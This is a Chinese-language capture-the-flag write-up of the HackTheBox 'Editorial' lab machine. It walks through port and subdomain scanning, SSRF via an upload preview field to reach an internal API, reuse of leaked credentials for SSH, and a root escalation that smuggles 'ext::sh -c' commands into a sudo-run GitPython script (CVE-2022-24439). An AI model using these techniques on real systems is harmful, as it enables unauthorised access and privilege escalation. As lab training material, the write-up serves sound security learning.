HackTheBox-Machines Editorial Writeup
Exploitation
先 nmap
一下:
1 | └──╼ [★]$ nmap -sV 10.10.11.20 |
whatweb
看一下:
1 | └──╼ [★]$ whatweb 10.10.11.20 |
加到 /etc/hosts:
1 | └──╼ [★]$ echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts |
ffuf 掃一下 subdomain:
1 | └──╼ [★]$ ffuf -u http://10.10.11.20 -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.editorial.htb" | grep "Status: 200" |
掃一下路徑:
1 | └──╼ [★]$ ffuf -u http://editorial.htb/FUZZ -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt |
找到 /upload 跟 /about。
由於我們是駭客,看到 upload 肯定要研究一下,我們先看一下他這頁長怎樣:
可以看到有個可以上傳圖片的地方,旁邊還很貼心的給我們,我們丟個 itachi.png 看看:
帥,但是我們開一個新 tab 看就會發現圖片被改名字副檔名也被移除了:http://editorial.htb/static/uploads/9194f469-2f40-49ed-8364-e14c35ad52f1
但沒關係,左邊那欄叫我們填網址感覺就很 ssrf,我們用 burp 觀察一下:
看了之後會發現所有資訊填完之後按下 send book info,只有下面那些資訊送出:
然後網址跟圖片是透過 preview 送出的,我們對這個比較感興趣,可以先來測試他能不能碰到內網的東西,我們可以在自己的機器上聽,看他能不能戳到:
看起來這部分是可以的,那我們可以來看能不能戳到內網上有趣的東西,由於用免費版的 burp 爆破所有的 port 可能會有點慢,這邊用 ffuf 來發 request,我們先做一個所有 port 的 list,以及一個 request.txt 並把 FUZZ 填在 port 的位置:
1 | └──╼ [★]$ seq 1 65535 > ports.txt |
指令如下,那因為大部分的頁面 Size 都是 61,我們可以把它過濾掉:
1 | 6582 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms] |
看來 5000 port 有驚喜。
在網頁訪問 http://127.0.0.1:5000 之後在新分頁開啟圖片可以把它下載下來,拿到一個 json 文件:
1 | └──╼ [★]$ cat dde01e25-8e2a-4b29-a22a-0b8e5d83f4e6 | jq |
看到第三個 api 就會找到這個:
1 | └──╼ [★]$ cat authors | jq |
找到一組帳密了,ssh time。
1 | dev@editorial:~$ ls |
拿下 user。
同時我們看到一個資料夾叫 app,可能跟提權有關
1 | dev@editorial:~/apps$ ls |
ls -al 之後發現這個資料夾有 .git,會翻到其中有個 commit 裡面有另一組帳密,我們 ssh 進去看看:
1 | prod@editorial:~$ sudo -l |
成功進來了,檢查一圈會發現這個用戶有奇怪的 sudo 權限設定,看一下 /opt/internal_apps/clone_changes/clone_prod_change.py 是什麼:
1 | #!/usr/bin/python3 |
這邊用到一個東西叫 GitPython,程式本身應該沒什麼問題,但是查看 GitPython 的版本會發現 3.1.29 有個 CVE-2022-24439 的洞可以 RCE:
1 | prod@editorial:~$ pip3 show gitpython |
這邊有利用方式可以參考:
https://github.com/gitpython-developers/GitPython/issues/1515
1 | prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/kazma' |
可以看到我們成功用 root 建立了一個檔案,現在我們嘗試把 root.txt 讀出來:
1 | prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/kazma' |
成功…
Reference
https://medium.com/@nkrohitkumar2002/hack-the-box-season-5-editorial-writeup-552635f389d6
Pwned !!!
- Title: HackTheBox-Machines Editorial Writeup
- Author: kazma
- Created at : 2024-08-12 19:25:54
- Updated at : 2024-08-14 01:11:23
- Link: https://kazma.tw/2024/08/12/HackTheBox-Machines-Editorial-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.